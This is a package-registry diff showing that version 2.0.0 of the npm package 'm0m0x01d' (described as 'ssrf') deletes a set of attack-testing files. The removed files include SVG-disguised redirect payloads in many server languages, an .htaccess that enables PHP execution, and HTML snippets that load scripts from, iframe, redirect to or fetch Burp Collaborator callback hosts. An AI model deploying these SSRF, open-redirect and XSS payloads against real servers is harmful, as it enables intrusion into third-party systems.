m0m0x01d 1.1.1 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (22) hide show
  1. package/package.json +1 -1
  2. package/.htaccess +0 -8
  3. package/redirect.svg.asp +0 -1
  4. package/redirect.svg.aspx +0 -1
  5. package/redirect.svg.cfm +0 -1
  6. package/redirect.svg.cs +0 -1
  7. package/redirect.svg.cshtml +0 -1
  8. package/redirect.svg.html +0 -25
  9. package/redirect.svg.js +0 -1
  10. package/redirect.svg.jsp +0 -3
  11. package/redirect.svg.php +0 -21
  12. package/redirect.svg.pl +0 -1
  13. package/redirect.svg.py +0 -2
  14. package/redirect.svg.rb +0 -1
  15. package/redirect.svg.xml +0 -3
  16. package/redirect.svg.xsl +0 -14
  17. package/redirect2.svg.html +0 -11
  18. package/redirecting.svg.html +0 -15
  19. package/test.html +0 -4
  20. package/testing.svg.html +0 -1
  21. package/xss.svg.html +0 -4
  22. package/xss1.svg.html +0 -6
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "m0m0x01d",
3
- "version": "1.1.1",
3
+ "version": "2.0.0",
4
4
  "description": "ssrf",
5
5
  "main": "index.html",
6
6
  "scripts": {
package/.htaccess DELETED
@@ -1,8 +0,0 @@
1
- <IfModule mod_php.c>
2
- # Enable PHP execution
3
- AddType application/x-httpd-php .php
4
- AddHandler application/x-httpd-php .php
5
- </IfModule>
6
-
7
- # Ensure the PHP engine is enabled
8
- php_flag engine on
package/redirect.svg.asp DELETED
@@ -1 +0,0 @@
1
- <% Response.Redirect("https://example.com") %>
package/redirect.svg.aspx DELETED
@@ -1 +0,0 @@
1
- <% Response.Redirect("https://example.com") %>
package/redirect.svg.cfm DELETED
@@ -1 +0,0 @@
1
- <cflocation url="https://example.com">
package/redirect.svg.cs DELETED
@@ -1 +0,0 @@
1
- return Redirect("https://example.com");
package/redirect.svg.cshtml DELETED
@@ -1 +0,0 @@
1
- return Redirect("https://example.com");
package/redirect.svg.html DELETED
@@ -1,25 +0,0 @@
1
- <!DOCTYPE html>
2
- <html lang="en">
3
- <head>
4
- <meta charset="UTF-8">
5
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
- <title>Redirect</title>
7
- <script>
8
- window.onload = function() {
9
- // Get the URL query parameter
10
- const urlParams = new URLSearchParams(window.location.search);
11
- const targetUrl = urlParams.get('url');
12
-
13
- // If a valid URL is provided, redirect to it
14
- if (targetUrl) {
15
- window.location.href = targetUrl;
16
- } else {
17
- document.body.innerHTML = "No URL provided for redirection.";
18
- }
19
- }
20
- </script>
21
- </head>
22
- <body>
23
- </body>
24
- </html>
25
-
package/redirect.svg.js DELETED
@@ -1 +0,0 @@
1
- res.redirect('https://example.com');
package/redirect.svg.jsp DELETED
@@ -1,3 +0,0 @@
1
- <%
2
- response.sendRedirect("https://example.com");
3
- %>
package/redirect.svg.php DELETED
@@ -1,21 +0,0 @@
1
- <?php
2
- // Get the target URL from the 'next_url' query parameter
3
- $next_url = isset($_GET['next_url']) ? $_GET['next_url'] : 'https://9lv13zw73wdy5t6hjxcpw5tz9qfh36.burpcollaborator.net';
4
-
5
- // Set the appropriate headers for the 302 redirect
6
- header("HTTP/1.1 302 Found");
7
- header("Location: $next_url");
8
-
9
- // Optional: Set additional headers if required
10
- header("Cache-Control: public, max-age=0");
11
- header("Set-Cookie: sites=; expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; Path=/");
12
- header("Set-Cookie: sessionid=; expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; Path=/");
13
- header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload");
14
- header("X-Frame-Options: SAMEORIGIN");
15
- header("X-XSS-Protection: 1; mode=block");
16
- header("X-Content-Type-Options: nosniff");
17
- header("Content-Security-Policy: frame-ancestors 'self'; base-uri 'self'; form-action 'self' https://*.example.com; upgrade-insecure-requests");
18
-
19
- // Ensure the connection is closed after the headers
20
- exit();
21
-
package/redirect.svg.pl DELETED
@@ -1 +0,0 @@
1
- print "Location: https://example.com\n\n";
package/redirect.svg.py DELETED
@@ -1,2 +0,0 @@
1
- from flask import redirect
2
- return redirect("https://example.com")
package/redirect.svg.rb DELETED
@@ -1 +0,0 @@
1
- redirect_to "https://example.com"
package/redirect.svg.xml DELETED
@@ -1,3 +0,0 @@
1
- <?xml version="1.0" encoding="UTF-8"?>
2
- <?xml-stylesheet type="text/xsl" href="redirect.svg.xsl"?>
3
- <root/>
package/redirect.svg.xsl DELETED
@@ -1,14 +0,0 @@
1
- <?xml version="1.0" encoding="UTF-8"?>
2
- <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
3
- <xsl:template match="/">
4
- <xsl:variable name="url" select="'https://086sqqjyqn0pskt86ozgjwgqwh2aqz.burpcollaborator.net'"/>
5
- <html>
6
- <head>
7
- <meta http-equiv="refresh" content="0; url={$url}" />
8
- </head>
9
- <body>
10
- Redirecting to <xsl:value-of select="$url" />
11
- </body>
12
- </html>
13
- </xsl:template>
14
- </xsl:stylesheet>
package/redirect2.svg.html DELETED
@@ -1,11 +0,0 @@
1
- <!DOCTYPE html>
2
- <html lang="en">
3
- <head>
4
- <meta charset="UTF-8">
5
- <meta http-equiv="refresh" content="0; url=https://www.example.com">
6
- <title>Redirecting...</title>
7
- </head>
8
- <body>
9
- <p>If you are not redirected automatically, follow this <a href="https://www.example.com">link to the new page</a>.</p>
10
- </body>
11
- </html>
package/redirecting.svg.html DELETED
@@ -1,15 +0,0 @@
1
- <!DOCTYPE HTML>
2
- <html lang="en-US">
3
- <head>
4
- <meta charset="UTF-8">
5
- <meta http-equiv="refresh" content="0; url=http://example.com">
6
- <script type="text/javascript">
7
- window.location.href = "http://example.com"
8
- </script>
9
- <title>Page Redirection</title>
10
- </head>
11
- <body>
12
- <!-- Note: don't tell people to `click` the link, just tell them that it is a link. -->
13
- If you are not redirected automatically, follow this <a href='http://example.com'>link to example</a>.
14
- </body>
15
- </html>
package/test.html DELETED
@@ -1,4 +0,0 @@
1
- <h1>testing</h1>
2
- <img src=/xsxs>
3
- <iframe src=/xs123>
4
- <script src="//m8veqcjkq90bs6tu6az2jigcw32xqm.burpcollaborator.net">
package/testing.svg.html DELETED
@@ -1 +0,0 @@
1
- <iframe src="https://wttobm4ubjlldge4rkkc4s1mhdn3bs.burpcollaborator.net"></iframe>
package/xss.svg.html DELETED
@@ -1,4 +0,0 @@
1
- <script>
2
- window.location.href = 'https://7bjztxm5tu3wvrwf9v2nm3jxzo5gt5.burpcollaborator.net';
3
- </script>
4
-
package/xss1.svg.html DELETED
@@ -1,6 +0,0 @@
1
- <script>
2
- fetch('https://7bjztxm5tu3wvrwf9v2nm3jxzo5gt5.burpcollaborator.net/api').then(response => {
3
- console.log(response);
4
- });
5
- </script>
6
-